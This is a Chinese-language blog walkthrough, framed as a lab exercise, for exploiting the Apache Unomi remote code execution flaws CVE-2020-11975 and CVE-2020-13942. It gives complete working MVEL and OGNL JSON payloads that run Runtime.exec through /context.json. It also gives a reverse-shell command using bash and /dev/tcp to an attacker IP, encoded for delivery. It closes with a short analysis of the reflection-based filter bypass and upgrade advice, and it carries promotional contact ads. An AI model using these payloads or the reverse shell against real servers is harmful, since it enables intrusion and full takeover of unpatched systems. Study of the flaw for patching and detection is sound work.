远程代码执行漏洞—— CVE-2020-11975 Apache Unomi

在这里插入图片描述


QQ 1274510382
Wechat JNZ_aming
商业联盟 QQ群538250800
技术搞事 QQ群599020441
解决方案 QQ群152889761
加入我们 QQ群649347320
共享学习 QQ群674240731
纪年科技aming
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

叮叮叮:产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司
民生项目:商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/
安全项目:态势感知防御系统/内网巡查系统
云服项目:动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing
产品咨询/服务售后(同)

纸上得来终觉浅,绝知此事要躬行 !!!
寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式!!


#本文为广告系统自动投放广告

# 如有侵权 删改 请速速联系我们





Web安全
本科/专科信息安全专业
计算机网络、Linux、计算机基础





预备知识

Apache Unomi是一个Java开源客户数据平台,

旨在管理客户、潜在顾客和访问者的数据,并帮助个性化客户体验。

Unomi可用于不同的系统
(如CMS、CRM、问题跟踪器、本机移动应用程序等)中集成个性化和配置文件管理。

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,
使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975。
而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,
攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。





目标机器: CentOS7、Apache Unomi<1.5.2

攻击机器:Kali

掌握Apache Unomi的远程代码执行漏洞的利用。





#1 探测目标是否存在漏洞

通过kali自带的浏览器访问http://your-ip:8181或https://your-ip:9443即可访问到Unomi的API
在这里插入图片描述

目标首页

判断是否存在漏洞,提供两种方式

1、通过MVEL表达式执行任意命令

访问目标首页,通过burp抓包后,
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

改为post请求同时将请求路径改为/context.json
在这里插入图片描述

同时需要将content-type类型改为application/json
在这里插入图片描述
Poc:

 

{
    
    

    "filters": [

        {
    
    

            "id": "sample",

            "filters": [

                {
    
    

                    "condition": {
    
    

                        "parameterValues": {
    
    

                            "":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"

                        },

                        "type":"profilePropertyCondition"

                    }

                }

            ]

        }

    ],

    "sessionId": "sample"

}

因为kali中自带的burp不是破解版,这里不使用dnslog来进行判断
在这里插入图片描述

Kali开启监听
在这里插入图片描述

同时将poc改为

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

可以看到kali接收到了请求

在这里插入图片描述

2、ONGl表达式执行命令

Poc:



{
    
    

  "personalizations":[

    {
    
    

      "id":"gender-test",

     "strategy":"matching-first",

      "strategyOptions":{
    
    

        "fallback":"var2"

      },

      "contents":[

        {
    
    

          "filters":[

            {
    
    

              "condition":{
    
    

                "parameterValues":{
    
    

                 "propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"pingdnslog\"))",

                  "comparisonOperator":"equals",

                 "propertyValue":"male"

                },

               "type":"profilePropertyCondition"

              }

            }

          ]

        }

      ]

    }

  ],

  "sessionId":"sample"

}

同样也是可以接收到请求的

#2 通过探查漏洞,获取目标权限

通过前面的学习已经可以去执行命令了,反弹shell需要通过编码

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

在kali执行监听
在这里插入图片描述

配合编码反弹shell

bash -i >& /dev/tcp/you_ip/port 0>&1

在这里插入图片描述

将加密后的反弹shell的命令填入burpsuite
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

漏洞分析

Apache Unomi<1.5.2可以在不调用loadClass()的情况下,
加载OGNL表达式中的类(classes inside OGNL expressions),最终导致了远程代码执行漏洞。

例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoader的loadClass()方法。

下面的表达式调用Runtime.getruntime()来得到Runtime对象,然后调用exec():

(#runtimeclass= #this.getClass().forName(“java.lang.Runtime”)).

(#runtimemethod= #runtimeclass.getDeclaredMethods().

{^#this.name.equals(“getRuntime”)}[0]).

(#runtimeobject= #runtimemethod.invoke(null,null)).

(#execmethod= #runtimeclass.getDeclaredMethods().

{?#this.name.equals(“exec”)}.

{?#this.getParameters()[0].getType().getName().equals(“java.lang.String”)}.

{?#this.getParameters().length < 2}[0]).

(#execmethod.invoke(#runtimeobject,“calc.exe”))

分析与思考
漏洞发现过程详见:

https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/?utm_source=dlvr.it&utm_medium=twitter

漏洞修复建议

  1. 升级到Apache Unomi 1.5.2及以上版本:http://unomi.apache.org/download.html

  2. 尽可能避免将数据放入表达式解释器中

猜你喜欢

转载自blog.csdn.net/qq_33608000/article/details/113863143